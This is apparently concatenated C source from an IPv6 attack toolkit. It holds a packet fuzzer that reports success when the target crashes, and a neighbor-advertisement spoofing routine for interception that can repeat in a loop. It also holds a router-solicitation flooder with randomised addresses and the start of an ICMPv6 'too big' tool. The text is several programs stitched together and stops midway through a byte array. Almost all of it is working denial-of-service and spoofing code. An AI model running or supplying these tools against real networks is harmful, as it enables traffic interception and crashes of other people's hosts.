int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst "; int test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14; char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t *p; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) { switch (i) { case 's': do_type = DO_TCP; port = atoi(optarg); break; case '0': do_type = DO_NODEQUERY; break; case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'X': do_type = DO_NONE; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n"); exit(-1); } interface = argv[optind]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_hdr_size) { test_pos -= do_hdr_size; offset -= do_hdr_size; off2 = do_hdr_size; } if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) { if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (interface == NULL || argv[optind + 1] == NULL) { printf("Error: interface and target-ipv6-address are mandatory command line options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("don't f**k up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (src6 == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("ff02::fb"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (real_dst6 != NULL && real_dst6[0] == 0xff) do_alive = 0; // ping before to check if it works if (do_alive) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); // exit(-1); } // generate basic packet strcpy(fuzzbuf, fuzztype_ether); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) strcat(fuzzbuf, fuzztype_ip6); else strcat(fuzzbuf, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; strcat(fuzzbuf, ".F.F"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; strcat(fuzzbuf, ".FBBBB"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { strcat(fuzzbuf, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { strcat(fuzzbuf, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); // if (header) strcat(fuzzbuf, fuzztype_icmp6); // else // strcat(fuzzbuf, fuzztype_icmp6no); switch (do_type) { case DO_TCP: // tcp options buf[0] = 2; // max segment size buf[1] = 4; buf[2] = 255; buf[3] = 255; buf[4] = 3; // windows size buf[5] = 3; buf[6] = 62; buf[7] = 1; // padding buf[8] = 8; // timestamp buf[9] = 10; buf[10] = time(NULL) / 16777216; buf[11] = ((time(NULL) / 65536) % 256); buf[12] = ((time(NULL) / 256) % 256); buf[13] = time(NULL) % 256; // 4 bytes ack tstamp 00000000 // rest is padding (2 bytes) if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0) return -1; strcat(fuzzbuf, fuzztype_tcp); break; case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ping); break; case DO_NONE: // empty break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6na); break; case DO_NODEQUERY: memcpy(buf + 8, real_dst6, 16); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6nq); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // = 8 == 56 // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 64; // prefix length /64 buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; buf[i++] = 4; // 56-71 address, 2004:: for default i += 14; // = 24 == 70 // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; // = 24 == 94 // seachlist option buf[i++] = 31; buf[i++] = 4; i += 2; memset(buf + i, 1, 4); // validity time i += 4; buf[i++] = 3; memcpy(buf + i, "foo", 3); i += 3; buf[i++] = 4; memcpy(buf + i, "corp", 4); i += 5; // + null byte buf[i++] = 5; memcpy(buf + i, "local", 5); i += 5; buf[i++] = 6; memcpy(buf + i, "domain", 6); i += 7; // + null byte // = 32 == 126 // flag extension option buf[i++] = 26; buf[i++] = 1; buf[i++] = 0x08; i += 5; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; //3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + off2]; hdr->pkt[i + 3] = hdr->pkt[5 + off2]; hdr->pkt[4 + off2] = 0; hdr->pkt[5 + off2] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end); //printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; //printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4); switch (do_type) { case DO_NONE: // empty break; case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4); break; case DO_TCP: memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4); break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_NODEQUERY: memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4); break; case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type != DO_TCP && do_type != DO_NONE) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else { // TCP hdr->pkt[offset + 70] = 0; hdr->pkt[offset + 71] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 70] = i / 256; hdr->pkt[offset + 71] = i % 256; } // send packet for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(1); } } //else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } //else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos); exit(1); } else printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0) return; if (debug) printf("DEBUG: packet is a valid icmp6 neighbor solitication\n"); memcpy(ipv6->pkt, data + 6, 6); // copy srcmac to dstmac memcpy(ipv6->pkt + 38, data + 22, 16); // copy srcip6 to dstip6 memcpy(ipv6->pkt + 22, data + 62, 16); // copy target to srcip6 memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16); // copy target to target ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); ptr2 = thc_ipv62notation(ipv6->pkt + 38); ptr4 = thc_ipv62notation(ipv6->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) { memcpy(ipv62->pkt, data + 74, 4); // create the multicast mac for the dst so we dont need to do a NS :-) memcpy(ipv62->pkt + 38, data + 62, 16); // copy target do dst6 memcpy(ipv62->pkt + 22, data + 22, 16); // copy source to source memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16); // copy source to target ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt2, &pkt2_len); ptr2 = thc_ipv62notation(ipv62->pkt + 38); ptr4 = thc_ipv62notation(ipv62->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); } if ((pp[pp_cnt] = fork()) == 0) { usleep(200); debug = 0; if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } sleep(1); if (do_loop == 1) { signal(SIGTERM, exit); signal(SIGSEGV, exit); signal(SIGHUP, exit); signal(SIGINT, exit); while (1) { sleep(5); if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } } } exit(0); } else if (do_loop == 1 && pp[pp_cnt] != -1) { if (pp_cnt < 65534) pp_cnt++; else do_loop = 2; } ipv6->pkt[56] = 0; ipv6->pkt[57] = 0; ipv6->pkt[pkt_len - 28] = 0x60; // set SOL flag again (void) wait3(NULL, WNOHANG, NULL); return; }
int main(int argc, char *argv[]) { char *interface; unsigned char mac[6] = "", *mac6 = mac; unsigned char buf[1460]; unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *dstmac = NULL; int i, k, type = NXT_ICMP6, offset = 14, mychecksum, prefer = PREFER_LINK; unsigned char *pkt2 = NULL; int pkt_len2 = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, do_dst = 0; int until = 0, rand_src = 0, rand_mac = 0; thc_ipv6_hdr *hdr = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "sSDFH")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 's': rand_src = 1; break; case 'S': rand_mac = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; if (argc - optind > 1) { if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: could not resolve %s\n", argv[optind + 1]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL; } dstmac = thc_get_mac(interface, src, dst); src = thc_get_own_ipv6(interface, dst, prefer); mac6 = thc_get_own_mac(interface); if (mac6 == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 1; memcpy(buf + 2, mac6, 6); i = 8; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0) return -1; thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); hdr = (thc_ipv6_hdr *) pkt2; k = rand(); if (do_hdr_size) offset = do_hdr_size; printf("Starting to flood with ICMPv6 router solicitation on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (until != 1) { if (rand_mac) { memcpy(hdr->pkt + 8, (char*) &k + _TAKE4, 4); memcpy(hdr->pkt + 14 + 40 + 8 + 2 + 2, (char*) &k + _TAKE4, 4); } if (rand_src) { memcpy(hdr->pkt + 14 + 8 + 8 + 5, (char*) &k + _TAKE3, 3); } if (rand_mac || rand_src) { hdr->pkt[offset + 42] = 0; hdr->pkt[offset + 43] = 0; mychecksum = checksum_pseudo_header(hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, hdr->pkt + offset + 40, pkt_len2 - offset - 40); hdr->pkt[offset + 42] = mychecksum / 256; hdr->pkt[offset + 43] = mychecksum % 256; k++; } count++; if (thc_send_pkt(interface, pkt2, &pkt_len2) < 0) { printf("!"); } // usleep(1); if (count % 1000 == 0) printf("."); if (until > 1) until--; } return 0; }
int main(int argc, char *argv[]) { char *interface, *ptr, buf2[8]; unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL; int i, offset = 14, type = ICMP6_TOOBIG, alert = 0, randsrc = 0, do_crc = 1, maxsize = 160; unsigned char *pkt = NULL, ip6[8]; int pkt_len = 0, count = 0; thc_ipv6_hdr *hdr; unsigned int filler = IDS_STRING, mychecksum; unsigned char offender[1452] = { 0x60, 0x00, 0x00, 0x00, 0x01, 0xcd, 0x3a, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x20, 0x03, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x80, 0x00, 0xed, 0xc5, 0xfa, 0xce, 0xba, 0xbe, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 